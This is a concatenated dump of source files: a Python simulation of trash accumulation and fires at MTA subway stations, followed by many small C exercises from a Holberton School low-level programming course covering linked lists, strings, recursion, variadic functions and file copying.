"is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6750, "license_type": "no_license", "max_line_length": 132, "num_lines": 173, "path": "/mtasim/mtasim2.py", "repo_name": "mtlynch3/MTA-Simulation", "src_encoding": "UTF-8", "text": "import math\nimport random\nimport statistics\nfrom collections import deque\n\n\nclass Station:\n\n def __init__(self, annual_ridership, num_track_beds, trash_threshold, cleaning_rate):\n self.annual_ridership = annual_ridership\n self.num_track_beds = num_track_beds\n\n #remove this; only needed for demand based cleaning simulation\n self.trash_threshold = trash_threshold\n\n self.cleaning_rate = cleaning_rate\n self.next_scheduled_cleaning = 0.0\n\n self.maintenance_delay = 0.0\n\n # (1.0/100000000) chosen to yield rate of approximately 1/5\n # i.e. 1 unit of trash arriving every five minutes at the BUSIEST stations\n self.trash_arrival_rate = (1.0/100000000) * annual_ridership\n\n self.fire_arrival_rate = 0.0\n\n #START OF NEW STUFF\n self.expenditure = 0.0\n self.productivity_cost = 0.0\n self.nyc_hourly_wage = 34.0\n\n #figure out better way to get these values\n self.base_cleaning_cost = 2000\n self.fire_cleaning_cost = 3500\n\n self. length = 0.0\n #END OF NEW STUFF\n\n # Units: minutes\n self.time = 0.0\n\n self.aggregate_trash = 0\n\n self.num_cleanings = 0\n\n self.num_scheduled_cleanings = 0\n\n self.num_fires = 0\n\n self.next_trash_arrival = 0.0\n self.next_fire_arrival = 0.0\n\n def initialize_simulation(self):\n self.time = 0.0\n\n self.aggregate_trash = 0\n self.num_cleanings = 0\n self.num_scheduled_cleanings = 0\n self.num_fires = 0\n\n #NEW THING\n self.expenditure = 0.0\n self.productivity_cost = 0.0\n #self.maintenance_delay = 0.0\n #END OF NEW THING\n\n self.next_trash_arrival = random.expovariate(self.trash_arrival_rate)\n self.next_fire_arrival = math.inf\n self.next_scheduled_cleaning = self.cleaning_rate\n\n def print_state(self):\n print(\"--------------------------------\")\n print(\"Current Time: \" + str(self.time))\n print(\"Aggregate Trash: \" + str(self.aggregate_trash))\n print(\"Time until next trash: \" + str(self.next_trash_arrival))\n print(\"Time until next cleaning: \" + str(self.next_scheduled_cleaning))\n print(\"Time until next fire: \" + str(self.next_fire_arrival))\n print(\"\\nFire arrival rate: \" + str(self.fire_arrival_rate))\n print(\"\\nNumber of cleanings to date:\" + str(self.num_cleanings))\n print(\"Number of scheduled cleanings to date:\" + str(self.num_scheduled_cleanings))\n print(\"Number of fires to date:\" + str(self.num_fires))\n #NEW THING\n print(\"Total maintenance expenditure to date: \" + str(self.expenditure))\n # print(\"Total delay due to maintenance: \" + str(self.maintenance_delay))\n print(\"Total productivity loss on NYC: \" + str(self.productivity_cost))\n #END OF NEW THING\n print(\"--------------------------------\\n\\n\")\n\n def recalculate_next_fire_arrival(self):\n # set fire arrival rate based on aggregate trash\n self.fire_arrival_rate = (1.0/1000000000) * self.aggregate_trash\n # generate next_fire_arrival\n self.next_fire_arrival = random.expovariate(self.fire_arrival_rate)\n\n def clean(self, fire):\n self.num_cleanings = self.num_cleanings + 1\n self.aggregate_trash = 0\n # Include some time delay for the cleaning and add to productivity loss\n # Should depend on if fire == True\n # increment self.time by amount of time for cleaning / fire repair\n if not fire:\n self.num_scheduled_cleanings = self.num_scheduled_cleanings + 1\n self.expenditure += self.base_cleaning_cost\n self.next_scheduled_cleaning = self.cleaning_rate\n self.next_trash_arrival = random.expovariate(self.trash_arrival_rate)\n self.next_fire_arrival = math.inf\n\n def calculate_productivity_cost(self):\n #self.productivity_cost += self.length/60 * self.nyc_hourly_wage *\n self.productivity_cost += self.length/60 * self.nyc_hourly_wage * self.annual_ridership/525600 * self.length\n\n def simulate(self, end_time):\n # initialize start of simulation\n self.initialize_simulation()\n\n while (self.time < end_time):\n if self.next_trash_arrival == min(self.next_scheduled_cleaning, self.next_fire_arrival, self.next_trash_arrival):\n # print(\"********* Trash Arrives\")\n time_elapsed = self.next_trash_arrival\n self.aggregate_trash = self.aggregate_trash + 1\n self.next_scheduled_cleaning = self.next_scheduled_cleaning - time_elapsed\n self.next_trash_arrival = random.expovariate(self.trash_arrival_rate)\n self.time = self.time + time_elapsed\n self.recalculate_next_fire_arrival()\n elif self.next_scheduled_cleaning == min(self.next_scheduled_cleaning, self.next_fire_arrival, self.next_trash_arrival):\n # print(\"********* Scheduled Cleaning\")\n time_elapsed = self.next_scheduled_cleaning\n self.length = 90\n self.calculate_productivity_cost()\n self.time = self.time + time_elapsed\n self.clean(False)\n else: # next_fire_arrival is the min\n # self.print_state()\n # print(\"********* FIRE!!!\")\n time_elapsed = self.next_fire_arrival\n self.time = self.time + time_elapsed\n self.num_fires = self.num_fires + 1\n #self.length_of_fire = random.uniform(60,120)\n #self.maintenance_delay +=self.length_of_fire\n #print(\"The length of this fire is: \" + str(self.length_of_fire))\n self.expenditure += self.fire_cleaning_cost\n self.clean(True)\n\n\nprint(\"Starting\")\n#s1 = Station(40000000, 2, 6000, 30240)\ns1 = Station(200000, 1, 6000, 30240)\n# s1 = Station(20000000, 1, 6000, 60000)\n# s1 = Station(40000000, 1, 6000, 60000)\nnum_reps = 5\nreps = []\nfor i in range(num_reps):\n s1.simulate(525600)\n s1.print_state()\n reps.append((s1.num_fires, s1.num_cleanings, s1.expenditure))\nprint()\nprint(\"Number of fires over simulation\")\nprint([x[0] for x in reps])\nprint(sum([x[0] for x in reps])/len([x[0] for x in reps]))\nprint(statistics.stdev([x[0] for x in reps]))\n\nprint(\"number of cleanings over simulation\")\nprint([x[1] for x in reps])\nprint(sum([x[1] for x in reps])/len([x[1] for x in reps]))\nprint(statistics.stdev([x[1] for x in reps]))\n\n\n# NEW THING\nprint(\"Expenditure over simulation\")\nprint([x[2] for x in reps])\nprint(sum([x[2] for x in reps])/len([x[2] for x in reps]))\nprint(statistics.stdev([x[2] for x in reps]))\n# END OF NEW THING" }, { "alpha_fraction": 0.6622390747070312, "alphanum_fraction": 0.7109424471855164, "avg_line_length": 33.39130401611328, "blob_id": "2987d9f75d00464a4089c9d429566c6760a59eaa", "content_id": "ce18ac791f4e488df773eb521b33fbc5d226432b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1581, "license_type": "no_license", "max_line_length": 112, "num_lines": 46, "path": "/mtasim/expotest.py", "repo_name": "mtlynch3/MTA-Simulation", "src_encoding": "UTF-8", "text": "import math\nimport random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport statistics\n\n# rate = 20000000.0/100000000.0 # 0.2 arrivals of trash per minute\n# limit = 60.0 # 60 minutes = 1 hour\n# limit = 30240.0 # 30240 minutes = 3 weeks\n\n\nrate = 288 # 288 arrivals of trash per day\nlimit = 21 # 21 days = 3 weeks\n\ndef generate_three_weeks_of_trash():\n time = 0.0 # start time at 0\n num_arrivals = 0 # set number of arrivals to be zero at start\n # interarrival_time = random.expovariate(rate) # generate an initial interarrival time\n interarrival_time = -math.log(1.0 - random.random()) / rate\n while time < limit: # while three weeks have not yet elapsed\n time = time + interarrival_time # advance clock by interarrival time\n num_arrivals = num_arrivals + 1 # increment number of arrivals\n # interarrival_time = random.expovariate(rate) # generate new interarrival time\n interarrival_time = -math.log(1.0 - random.random()) / rate\n print(num_arrivals) # print the total number of arrivals of trash in this three week period\n\nfor i in range(50):\n generate_three_weeks_of_trash()\n\nprint(\"Notice how steady/consistent the amount of trash generated in 3 weeks is / how little variance there is\")\n\n\n\n# psamples = np.random.poisson(12, 10000)\npsamples = np.random.poisson(rate*limit, 10000)\nprint(psamples)\nprint(sum(psamples)/len(psamples))\nprint()\nprint(statistics.stdev(psamples))\nprint(statistics.stdev(psamples)**2)\nprint()\nprint(rate*limit)\n\n\ncount, bins, ignored = plt.hist(psamples, 14, normed=True)\nplt.show()" } ]
6
MenacingManatee/holbertonschool-low_level_programming
https://github.com/MenacingManatee/holbertonschool-low_level_programming
6417b91d430ebc857fd60903ceaf9247118d8e47
c1e4b5ca75fcb942dd33df428640de11faaf01f9
1fe86e3bf0d61bca67d3d1bfbcb34fbc1d7a107e
refs/heads/master
2021-07-14T12:15:14.604140
2021-06-28T02:54:15
2021-06-28T02:54:15
238,390,929
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.48608535528182983, "alphanum_fraction": 0.4935064911842346, "avg_line_length": 14.399999618530273, "blob_id": "279f52607affb4c7ccc4d798ac7aaf117c602ffe", "content_id": "3f8c5a49d80ab6e883529dda4897c8760ab4d8f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 539, "license_type": "no_license", "max_line_length": 64, "num_lines": 35, "path": "/0x13-more_singly_linked_lists/102-free_listint_safe.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n#include <stdio.h>\n\n/**\n * free_listint_safe - prints a listint_t list, even if it loops\n * @h: list to free\n *\n * Return: Number of nodes\n */\nsize_t free_listint_safe(listint_t **h)\n{\n\tlistint_t *curr, *tmp, *start;\n\tint i = 0, j;\n\n\tif (h == NULL || *h == NULL)\n\t\treturn (0);\n\tcurr = start = *h;\n\tfor (; *h; i++)\n\t{\n\t\tcurr = start;\n\t\tfor (j = 0; j < i; j++)\n\t\t{\n\t\t\tif (*h == curr && i > 0)\n\t\t\t{\n\t\t\t\t*h = NULL;\n\t\t\t\treturn (i);\n\t\t\t}\n\t\t\tcurr = curr->next;\n\t\t}\n\t\ttmp = (*h)->next;\n\t\tfree(*h);\n\t\t*h = tmp;\n\t}\n\treturn (i);\n}\n" }, { "alpha_fraction": 0.5666666626930237, "alphanum_fraction": 0.5696969628334045, "avg_line_length": 14.714285850524902, "blob_id": "f1762abf45c853aafe0c81e875dfc7c7b4692698", "content_id": "7ac5ea20e70d457d48099c3f5da0dee0b91f5a5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 330, "license_type": "no_license", "max_line_length": 63, "num_lines": 21, "path": "/0x06-pointers_arrays_strings/4-rev_array.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * reverse_array - reverses the content of an array of integers\n *@a: pointer to an array of integers\n *@n: number of elements in the array\n * Return: void\n */\nvoid reverse_array(int *a, int n)\n{\n\tint i;\n\tint tmp;\n\n\tn--;\n\tfor (i = 0; i < n; i++, n--)\n\t{\n\t\ttmp = a[i];\n\t\ta[i] = a[n];\n\t\ta[n] = tmp;\n\t}\n}\n" }, { "alpha_fraction": 0.5582371354103088, "alphanum_fraction": 0.5655823945999146, "avg_line_length": 21.690475463867188, "blob_id": "3225e4173eb66955d5f7accf6858b0c22cf57589", "content_id": "049bc0d2aaff63a845c689d8a75470eac507648f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 953, "license_type": "no_license", "max_line_length": 67, "num_lines": 42, "path": "/0x17-doubly_linked_lists/8-delete_dnodeint.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"lists.h\"\n\n/**\n * delete_dnodeint_at_index - deletes a node at a given position\n * @head: a pointer to a dlistint_t linked list.\n * @index: the position to add the node\n *\n * Return: 1 if it succeeded, -1 if it failed\n */\nint delete_dnodeint_at_index(dlistint_t **head, unsigned int index)\n{\n\tunsigned int i = 0;\n\tdlistint_t *nxt, *tmp, *top;\n\n\tif (!head || !*head)/*Null check*/\n\t\treturn (-1);\n\tif ((*head)->prev)/*make sure we're actually at the head*/\n\t\tfor (; (*head)->prev; (*head) = (*head)->prev)\n\t\t\t;\n\ttop = *head;\n\tfor (i = 0; i < index && (*head); i++, (*head) = (*head)->next)\n\t\t;\n\tif (!(*head))\n\t{\n\t\t*head = top;\n\t\treturn (-1);\n\t}\n\ttmp = (*head)->prev;\n\tnxt = (*head)->next;\n\tfree(*head);\n\t*head = tmp;\n\tif (*head)/*Check for if we're at the starter NULL*/\n\t\t(*head)->next = nxt;\n\tif (nxt)\n\t{\n\t\t*head = nxt;\n\t\t(*head)->prev = tmp;\n\t}\n\tfor (; *head && (*head)->prev; *head = (*head)->prev)\n\t\t;/*move back to the top*/\n\treturn (1);\n}\n" }, { "alpha_fraction": 0.42526838183403015, "alphanum_fraction": 0.47481420636177063, "avg_line_length": 14.727272987365723, "blob_id": "4983321a8cf98d8830d55060c634ed12ec53a102", "content_id": "89faabdebb0c84b9fbc36aec3790af0607211f98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1211, "license_type": "no_license", "max_line_length": 65, "num_lines": 77, "path": "/0x06-pointers_arrays_strings/102-infinite_add.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\nint _strlen(char *a);\n/**\n * infinite_add - converts two strings to integers and adds them.\n * @n1: First string to add\n * @n2: Second string to add\n * @r: string post addition\n * @size_r: buffer size of r\n * Return: r\n */\nchar *infinite_add(char *n1, char *n2, char *r, int size_r)\n{\n\tint k = 0, i, j, sum = 0, carry = 0, l = 0;\n\tunsigned int num1, num2;\n\n\tr[0] = '\\0';\n\tr[1] = '\\0';\n\ti = _strlen(n1);\n\tj = _strlen(n2);\n\tif (i + 2 > size_r || j + 2 > size_r)\n\t\treturn (0);\n\tif (i > j)\n\t\tk = i + 1;\n\telse\n\t\tk = j + 1;\n\tr[k] = '\\0';\n\twhile (j > 0 || i > 0)\n\t{\n\t\tnum1 = 0, num2 = 0;\n\t\tif (i > 0)\n\t\t\tnum1 = (n1[--i] - '0');\n\t\telse\n\t\t\tnum1 = 0;\n\t\tif (j > 0)\n\t\t\tnum2 = (n2[--j] - '0');\n\t\telse\n\t\t\tnum2 = 0;\n\t\tif (carry > 0)\n\t\t{\n\t\t\tsum += carry;\n\t\t\tcarry = 0;\n\t\t}\n\t\tif (num1 > 0)\n\t\t\tsum += num1;\n\t\tif (num2 > 0)\n\t\t\tsum += num2;\n\t\tif (sum > 9)\n\t\t{\n\t\t\tsum = sum - 10;\n\t\t\tcarry++;\n\t\t}\n\t\tr[--k] = (sum + '0');\n\t\tsum = 0;\n\t}\n\tif (carry > 0)\n\t\tr[0] = '1';\n\telse\n\t\tr[0] = '\\0';\n\twhile (r[l] == '\\0')\n\t\tl++;\n\treturn (r + l);\n}\n/**\n * _strlen - finds the length of a string\n * @a: string to find length of\n *\n * Return: length\n */\nint _strlen(char *a)\n{\n\tint i = 0;\n\n\twhile (a[i])\n\t\ti++;\n\treturn (i);\n}\n" }, { "alpha_fraction": 0.532608687877655, "alphanum_fraction": 0.5471014380455017, "avg_line_length": 12.142857551574707, "blob_id": "8db1b73bccedb66b4441936b86d3431d4cbc4c1a", "content_id": "9bb7eded89049d1e9ba86d722d97b5c7898c6c9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 276, "license_type": "no_license", "max_line_length": 41, "num_lines": 21, "path": "/0x02-functions_nested_loops/0-holberton.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * main - prints holberton using _putchar\n *\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tint i;\n\n\tchar holb[] = \"Holberton\";\n\tint leng = (sizeof(holb) - 1);\n\n\tfor (i = 0; i < leng; i++)\n\t{\n\t\t_putchar(holb[i]);\n\t}\n\t_putchar('\\n');\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.43184712529182434, "alphanum_fraction": 0.4885350465774536, "avg_line_length": 14.699999809265137, "blob_id": "1cc038c0d5b901d731a485d798225694a61b533d", "content_id": "f9cb0145de6332827ba844f441a6e192e31c8763", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1570, "license_type": "no_license", "max_line_length": 56, "num_lines": 100, "path": "/0x08-recursion/100-wildcmp.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdio.h>\n\nint skip(char *s);\nint _strlen(char *s);\nint checker(char *s1, char *s2);\n/**\n * wildcmp - compares two strings\n * @s1: string 1\n * @s2: string 2\n *\n * Return: 0 if not the same, 1 if the same\n */\nint wildcmp(char *s1, char *s2)\n{\n\tint x, len;\n\n\tlen = _strlen(s1);\n\tx = checker(s1, s2);\n\treturn (x == len);\n}\n/**\n * checker - checks if two strings are identical\n * @s1: string 1\n * @s2: string 2\n *\n * Return: 0 or 1 if is not or is identical respectively\n */\nint checker(char *s1, char *s2)\n{\n\tint j = 0;\n\n\tif (*s1 == *s2 && *s1)\n\t{\n\t\treturn (1 + checker(s1 + 1, s2 + 1));\n\t}\n\telse if (*s1 != '\\0' && *s2 == '*')\n\t{\n\n\t\tif (*(s2 + 1) == '*')\n\t\t{\n\t\t\tj = skip(s2);\n\t\t}\n\t\tif (*(s1 + 1) == *(s2 + 1 + j))\n\t\t{\n\t\t\treturn (1 + checker(s1 + 1, s2 + 1));\n\t\t}\n\t\telse if (*s1 == *(s2 + 1 + j))\n\t\t{\n\t\t\tif ((checker(s1 + 1, s2 + j)) > 3)\n\t\t\t{\n\t\t\t\treturn (1 + checker(s1 + 1, s2 + j));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn (1 + checker(s1 + 1, s2 + 2 + j));\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn (1 + checker(s1 + 1, s2 + j));\n\t\t}\n\t}\n\telse if (*s1 == '\\0' && *s2)\n\t{\n\t\tj = skip(s2);\n\t\ts2++;\n\t\tif (*(s2 + j) != '\\0')\n\t\t{\n\t\t\treturn (-2147483648);\n\t\t}\n\t}\n\treturn (0);\n}\n/**\n * _strlen - gets the length of a function\n * @s: string to evaluate\n *\n * Return: length of string\n */\nint _strlen(char *s)\n{\n\tif (*s)\n\t\treturn (1 + _strlen(s + 1));\n\treturn (0);\n}\n/**\n * skip - skips excessive wilds\n * @s: string to skip through\n * Return: the same string\n */\nint skip(char *s)\n{\n\tif (*s == '*' && *(s + 1) == '*')\n\t{\n\t\ts++;\n\t\treturn (1 + skip(s));\n\t}\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5432525873184204, "alphanum_fraction": 0.5455594062805176, "avg_line_length": 15.673076629638672, "blob_id": "69b91dc4dca7b8e4a170bbe342c133bdcd4afc7d", "content_id": "30e771650a25b416f9357e51116b76abb9a519f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 867, "license_type": "no_license", "max_line_length": 65, "num_lines": 52, "path": "/0x10-variadic_functions/3-print_all.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdarg.h>\n#include \"variadic_functions.h\"\n#include <stdio.h>\n\n/**\n * print_all - prints all arguments, seperated by char *separator\n * @format: list of all types of arguments\n *\n * Return: Void\n */\nvoid print_all(const char * const format, ...)\n{\n\tva_list args;\n\tunsigned int i = 0;\n\tchar *tmp;\n\tchar *sep = \"\";\n\n\tva_start(args, format);\n\tif (format == NULL)\n\t{\n\t\tprintf(\"\\n\");\n\t\treturn;\n\t}\n\twhile (format[i] != '\\0')\n\t{\n\t\tswitch (format[i])\n\t\t{\n\t\tcase 'c':\n\t\t\tprintf(\"%s%c\", sep, va_arg(args, int));\n\t\t\tbreak;\n\t\tcase 'i':\n\t\t\tprintf(\"%s%d\", sep, va_arg(args, int));\n\t\t\tbreak;\n\t\tcase 'f':\n\t\t\tprintf(\"%s%f\", sep, va_arg(args, double));\n\t\t\tbreak;\n\t\tcase 's':\n\t\t\ttmp = va_arg(args, char *);\n\t\t\tif (tmp == NULL)\n\t\t\t\ttmp = \"(nil)\";\n\t\t\tprintf(\"%s%s\", sep, tmp);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tsep = \", \";\n\t\ti++;\n\t}\n\tprintf(\"\\n\");\n\tva_end(args);\n}\n" }, { "alpha_fraction": 0.6168830990791321, "alphanum_fraction": 0.6201298832893372, "avg_line_length": 17.117647171020508, "blob_id": "4c54d26c8ece7a656a8750eb805de6153acd276d", "content_id": "bca386f07a274885fb5eb8b74d398644478c9218", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 308, "license_type": "no_license", "max_line_length": 65, "num_lines": 17, "path": "/0x13-more_singly_linked_lists/1-listint_len.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include \"lists.h\"\n\n/**\n * listint_len - finds the number of elements in a listint_t list\n * @h: head of linked list\n * Return: number of elements\n */\nsize_t listint_len(const listint_t *h)\n{\n\tsize_t i = 0;\n\tconst listint_t *tmp = h;\n\n\tfor (; tmp; tmp = tmp->next, i++)\n\t\t;\n\treturn (i);\n}\n" }, { "alpha_fraction": 0.5301204919815063, "alphanum_fraction": 0.5622490048408508, "avg_line_length": 12.833333015441895, "blob_id": "7024990505e7aef633859ed0a4b1e51eeab2182f", "content_id": "ba70edccba97fd0a241a6c7c1fed2781cf8a7173", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 249, "license_type": "no_license", "max_line_length": 42, "num_lines": 18, "path": "/0x01-variables_if_else_while/5-print_numbers.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - Prints all single base 10 digits\n * from 0, followed by a newline\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tint num = 0;\n\n\tdo {\n\t\tprintf(\"%i\", num);\n\t\tnum++;\n\t} while (num < 10);\n\tputchar('\\n');\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5017182230949402, "alphanum_fraction": 0.5257731676101685, "avg_line_length": 13.550000190734863, "blob_id": "5823ef8e36c35032e71fbf93ce6e6d7e12936938", "content_id": "71a505864aef2f8b2a6da16b461f11f6a91dafe8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 291, "license_type": "no_license", "max_line_length": 51, "num_lines": 20, "path": "/0x05-pointers_arrays_strings/6-puts2.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * puts2 - prints every other character of a string\n *@str: string provided by user\n * Return: void\n */\nvoid puts2(char *str)\n{\n\tint i = 0, j = 0;\n\n\twhile (str[i] != '\\0')\n\t\ti++;\n\tfor (; j < i; j++)\n\t{\n\t\tif (j % 2 == 0)\n\t\t\t_putchar(str[j]);\n\t}\n\t_putchar('\\n');\n}\n" }, { "alpha_fraction": 0.5525672435760498, "alphanum_fraction": 0.5574572086334229, "avg_line_length": 15.359999656677246, "blob_id": "915d29fdf933911804ba4c540b429510e1412f5c", "content_id": "ee60bedfec7df0e809a4e4c3be201e5b9d73256c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 409, "license_type": "no_license", "max_line_length": 59, "num_lines": 25, "path": "/0x12-singly_linked_lists/0-print_list.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include \"lists.h\"\n\n/**\n * print_list - prints the contents of a singly linked list\n * @h: singly linked list\n *\n * Return: the number of nodes\n */\nsize_t print_list(const list_t *h)\n{\n\tsize_t i = 0;\n\tconst list_t *tmp = h;\n\n\tfor (; tmp; tmp = tmp->next, i++)\n\t{\n\t\tif (tmp->str == NULL)\n\t\t{\n\t\t\tprintf(\"[0] (nil)\\n\");\n\t\t}\n\t\telse\n\t\t\tprintf(\"[%d] %s\\n\", tmp->len, tmp->str);\n\t}\n\treturn (i);\n}\n" }, { "alpha_fraction": 0.6117274165153503, "alphanum_fraction": 0.6418383717536926, "avg_line_length": 30.549999237060547, "blob_id": "c6ad76d7d3dfa91cb5a550bcc25bf2670e5b3263", "content_id": "625ecb5ae3931ce9c8818f1fc413004608334717", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1262, "license_type": "no_license", "max_line_length": 63, "num_lines": 40, "path": "/0x15-file_io/3-cp.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#include <stdlib.h>\n#include <fcntl.h>\n#include <stdio.h>\n#define RWRWR (S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH)\n#define ERR (\"Error: Can't close fd %d\\n\")\n#define NOWRITE (\"Error: Can't write to %s\\n\")\n#define NOREAD (\"Error: Can't read from file %s\\n\")\n#define USAGE (\"Usage: cp file_from file_to\\n\")\n/**\n * main - reads a text file and prints it to the POSIX stdout.\n * @argc: Argument count\n * @argv: Argument vector\n *\n * Return: Always 0\n */\nint main(int argc, char *argv[])\n{\n\tint fd_from, fd_to, bufflen;\n\tchar buff[1024];\n\n\tif (argc != 3)\n\t\tdprintf(STDERR_FILENO, USAGE), exit(97);\n\tfd_from = open(argv[1], O_RDONLY);\n\tif (fd_from < 0)\n\t\tdprintf(STDERR_FILENO, NOREAD, argv[1]), exit(98);\n\tfd_to = open(argv[2], O_WRONLY | O_TRUNC | O_CREAT, RWRWR);\n\tif (fd_to < 0)\n\t\tdprintf(STDERR_FILENO, NOWRITE, argv[2]), exit(99);\n\twhile ((bufflen = read(fd_from, buff, 1024)) > 0)\n\t\tif (write(fd_to, buff, bufflen) != bufflen)\n\t\t\tdprintf(STDERR_FILENO, NOWRITE, argv[2]), exit(99);\n\tif (bufflen < 0)\n\t\tdprintf(STDERR_FILENO, NOREAD, argv[1]), exit(98);\n\tif ((close(fd_from)) < 0)\n\t\tdprintf(STDERR_FILENO, ERR, fd_from), exit(100);\n\tif ((close(fd_to)) < 0)\n\t\tdprintf(STDERR_FILENO, ERR, fd_to), exit(100);\n\treturn (EXIT_SUCCESS);\n}\n" }, { "alpha_fraction": 0.5490716099739075, "alphanum_fraction": 0.5570291876792908, "avg_line_length": 14.708333015441895, "blob_id": "2631d73920092db28755bb455e4757719f512016", "content_id": "7d74c5b8864eb435a3cf776c4d6b1a11635be26b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 377, "license_type": "no_license", "max_line_length": 46, "num_lines": 24, "path": "/0x06-pointers_arrays_strings/2-strncpy.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n\n/**\n * _strncpy - copies up to n bytes of a string\n *@dest: destination pointer\n *@src: source string\n *@n: bytes to copy\n * Return: dest pointer\n */\nchar *_strncpy(char *dest, char *src, int n)\n{\n\tint num = 0, j;\n\n\twhile (src[num])\n\t\tnum++;\n\tfor (j = 0; j < n; j++)\n\t{\n\t\tif (j > num)\n\t\t\tdest[j] = '\\0';\n\t\telse\n\t\t\tdest[j] = src[j];\n\t}\n\treturn (dest);\n}\n" }, { "alpha_fraction": 0.529644250869751, "alphanum_fraction": 0.5691699385643005, "avg_line_length": 13.882352828979492, "blob_id": "e59d2467b046f4c90440fb6668b48edbbb1d290d", "content_id": "7ef211ab71ebbd16be39ede6a26ed0cdb5ac293f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 253, "license_type": "no_license", "max_line_length": 71, "num_lines": 17, "path": "/0x01-variables_if_else_while/6-print_numberz.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n\n/**\n * main - Prints all single digits 0-9 using allowed command only twice\n * Return: Always 0 (ok)\n */\nint main(void)\n{\n\tint num = 0;\n\n\tdo {\n\t\tputchar((num % 10) + '0');\n\t\tnum++;\n\t} while (num < 10);\n\tputchar('\\n');\n\treturn (0);\n}\n" }, { "alpha_fraction": 0.5938104391098022, "alphanum_fraction": 0.5957446694374084, "avg_line_length": 16.827587127685547, "blob_id": "bf3cfedfacb95390c6bca9cfabf8c2e22fa5d118", "content_id": "a9edac0cbdcbc860ce530858ec08d1cb7f7a0210", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 517, "license_type": "no_license", "max_line_length": 48, "num_lines": 29, "path": "/0x12-singly_linked_lists/2-add_node.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include \"lists.h\"\n#include <string.h>\n\n/**\n * add_node - adds a node to the front of a list\n * @head: the list head\n * @str: string to be duplicated into the list\n *\n * Return: Address of new element, or NULL\n */\nlist_t *add_node(list_t **head, const char *str)\n{\n\tint leng = 0;\n\tlist_t *new;\n\n\tnew = malloc(sizeof(list_t));\n\tif (new == NULL)\n\t{\n\t\treturn (NULL);\n\t}\n\tfor (; *(str + leng); leng++)\n\t\t;\n\tnew->str = strdup(str);\n\tnew->len = leng;\n\tnew->next = *head;\n\t*head = new;\n\treturn (*head);\n}\n" }, { "alpha_fraction": 0.4076738655567169, "alphanum_fraction": 0.4460431635379791, "avg_line_length": 15.038461685180664, "blob_id": "b755d78c945a7d11a857472464a9158b80147dcf", "content_id": "4ca4f9ef2ab18b7608d06733a3803f954c2b9bb8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 834, "license_type": "no_license", "max_line_length": 67, "num_lines": 52, "path": "/0x02-functions_nested_loops/100-times_table.c", "repo_name": "MenacingManatee/holbertonschool-low_level_programming", "src_encoding": "UTF-8", "text": "#include \"holberton.h\"\n#define SEPERATE {\\\n\t_putchar(',');\\\n\t_putchar(' ');\\\n\t}\n/**\n * print_times_table - prints the multiplication table of n numbers\n * @n: the number of tables to print, starting from 0\n *\n * Return: none\n */\nvoid print_times_table(int n)\n{\n\tint l = 0, h = 0, multi = 0;\n\n\tn++;\n\tif ((n > 15) || (n 